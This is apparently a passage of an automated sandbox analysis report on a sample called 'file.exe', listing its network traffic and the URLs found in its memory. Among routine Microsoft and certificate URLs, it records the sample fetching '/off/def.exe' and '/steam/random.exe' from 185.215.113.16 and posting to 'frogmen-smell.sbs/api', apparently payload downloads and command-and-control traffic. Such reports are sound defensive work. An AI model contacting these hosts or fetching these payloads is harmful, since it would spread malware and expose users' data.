Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogmen-smell.sbs

Source: file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1483751828.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1575379921.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1600739460.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1599313212.00000000003AB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe(
Source: file.exe, 00000000.00000003.1575379921.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483435757.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1600739460.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_177.12.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1316605077.00000000054C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_177.12.dr, chromecache_141.12.dr, chromecache_178.12.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_177.12.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_177.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_177.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1332347706.000000000549B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: file.exe, 00000000.00000003.1338110823.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/((G/(
Source: file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1332037532.0000000005491000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1332347706.000000000549B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/08
Source: file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/:
Source: file.exe, 00000000.00000003.1483435757.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/C
Source: file.exe, 00000000.00000003.1350502412.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/U;
Source: file.exe, 00000000.00000003.1286386964.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/Z
Source: file.exe, 00000000.00000003.1363633535.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286386964.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1350502412.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: file.exe, 00000000.00000003.1350502412.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiZ
Source: file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apib
Source: file.exe, 00000000.00000003.1483435757.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/c
Source: file.exe, 00000000.00000003.1316393324.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315834552.0000000005496000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1316355508.0000000005496000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/kjz
Source: file.exe, 00000000.00000003.1350502412.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/m;
Source: file.exe, 00000000.00000003.1301589612.0000000005495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/q
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_177.12.dr	String found in binary or memory: https://github.com/nschonni
Source: chromecache_177.12.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_157.12.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_157.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1287024580.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1286969979.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287167742.00000000054DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_168.12.dr, chromecache_157.12.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1318158295.00000000055B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
